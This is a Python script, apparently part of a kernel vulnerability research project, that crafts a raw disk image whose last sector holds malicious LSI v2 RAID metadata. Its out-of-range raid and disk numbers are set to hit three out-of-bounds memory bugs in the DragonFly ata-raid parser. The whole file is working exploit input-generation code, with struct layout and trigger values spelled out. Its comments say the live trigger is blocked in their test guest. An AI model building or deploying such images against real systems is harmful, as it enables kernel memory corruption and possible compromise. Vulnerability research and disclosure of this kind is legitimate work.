DF-1172 / build_meta.py
#!/usr/bin/env python3 """ DF-1172 build_meta.py -- craft a raw disk image carrying malicious LSI v2 RAID metadata, for the live in-guest trigger attempt. The LSI v2 metadata block (struct lsiv2_raid_conf, ata-raid.h:459) is read by ata_raid_lsiv2_read_meta() from the LAST sector of the disk (LSIV2_LBA = total_secs - 1, ata-raid.h:456). The magic is "$XIDE$" (ata-raid.h:461). We craft a block whose raid_number/disk_number are out of range so the in-kernel parser would hit the three OOB sites (BSS write of a heap pointer, configs[] OOB read, raid->disks[] heap overflow). NOTE: like DF-1171, the live in-guest trigger is blocked on this QEMU guest by a loader artifact (the DragonFly loader hangs on ANY extra hard disk before the kernel boots), so this image is a reference artifact for the attack vector rather than something the guest will actually probe. The primary proof is the overflow_harness; see VERDICT.md. """ import struct, sys def build(path, raid_number=200, disk_number=200, total_secs=4096): # struct lsiv2_raid_conf (ata-raid.h:459), __packed. # lsi_id[6]="$XIDE$", dummy_0, flags(u8), version(u16), # config_entries, raid_count, total_disks, dummy_1 (4*u8), dummy_2(u16), # configs[30] union (~16 B each -> 480 B), disk_number(u8), raid_number(u8), # timestamp(u32), filler[10] CFG_SZ = 16 hdr = b"$XIDE$" # lsi_id[6] hdr += b"\x00" # dummy_0 hdr += b"\x00" # flags hdr += struct.pack("<H", 0x0200) # version hdr += bytes([1, 1, 1, 0]) # config_entries, raid_count, total_disks, dummy_1 hdr += struct.pack("<H", 0) # dummy_2 # configs[30]: make configs[0].raid.type = LSIV2_T_RAID0 (0x01) so the # switch hits the RAID0 arm; rest zero. cfg0 = bytes([0x01]) + b"\x00"*3 + struct.pack("<H", 64) + bytes([2,2,0,0,0]) \ + struct.pack("<I", 0x100000) + b"\x00"*3 cfg0 = cfg0[:CFG_SZ].ljust(CFG_SZ, b"\x00") hdr += cfg0 * 30 hdr += bytes([disk_number & 0xff]) # disk_number (BUG 3: >=16) hdr += bytes([raid_number & 0xff]) # raid_number (BUG 1 & 2: >=16/>=30) hdr += struct.pack("<I", 0xdeadbeef) # timestamp hdr += b"\x00"*10 # filler[10] # build a total_secs*512 image, place metadata at last sector img = bytearray(total_secs * 512) off = (total_secs - 1) * 512 img[off:off+len(hdr)] = hdr with open(path, "wb") as f: f.write(img) print("built %s: %d sectors, LSI v2 magic at LBA %d, " "raid_number=%d disk_number=%d (block %d bytes)" % (path, total_secs, total_secs-1, raid_number, disk_number, len(hdr))) if __name__ == "__main__": path = sys.argv[1] if len(sys.argv) > 1 else "crafted_lsiv2.img" rn = int(sys.argv[2]) if len(sys.argv) > 2 else 200 dn = int(sys.argv[3]) if len(sys.argv) > 3 else 200 build(path, rn, dn) |